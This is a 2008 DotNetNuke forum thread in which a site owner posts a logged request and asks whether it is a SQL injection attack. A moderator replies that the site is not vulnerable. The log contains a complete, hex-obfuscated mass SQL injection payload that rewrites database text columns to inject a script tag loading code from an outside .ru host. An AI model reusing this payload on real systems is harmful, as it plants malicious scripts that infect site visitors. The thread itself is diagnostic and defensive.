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HomeHomeOur CommunityOur CommunityGeneral Discuss...General Discuss...Am I being hacked? (suspicious event logged)Am I being hacked? (suspicious event logged)
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8/14/2008 11:17 AM
 
Pat James


Joined: 10/3/2007
Posts: 41

I've started seeing events such as the below one being logged, which look like attempts at a SQL injection exploit.  Is DNN vulnerable to this attack?  I am running 4.08.02

UserID: -1
UserName:
ActiveTabID: 36
ActiveTabName: Home
RawURL: /LinkClick.aspx?link=113&tabid=69;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E336E6A782E72752F6A732E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--
AbsoluteURL: /LinkClick.aspx
AbsoluteURLReferrer:
UserAgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
DefaultDataProvider: DotNetNuke.Data.SqlDataProvider, DotNetNuke.SqlDataProvider
ExceptionGUID: 10111f42-f412-4dbc-9edd-0ce475d7787e
InnerException: Unhandled Error:
FileName:
FileLineNumber: 0
FileColumnNumber: 0
Method: System.Number.StringToNumber
StackTrace:
Message: System.Exception: Unhandled Error: ---> System.formatException: Input string was not in a correct format. at System.Number.StringToNumber(String str, NumberStyles options, NumberBuffer& number, NumberformatInfo info, Boolean parseDecimal) at System.Number.ParseInt32(String s, NumberStyles style, NumberformatInfo info) at DotNetNuke.Services.FileSystem.FileServerHandler.ProcessRequest(HttpContext context) at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --- End of inner exception stack trace ---
 
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8/14/2008 1:03 PM
 
cathal connolly


cathal connolly's Avatar

www.cathal.co.uk
Joined: 4/9/2003
Posts: 9676

no, it's just logging errors due to invalid casting - see my blog post @ http://www.dotnetnuke.com/Community/Blogs/tabid/825/EntryID/1930/Default.aspx to understand why dnn does not suffer from this attack.

Cathal

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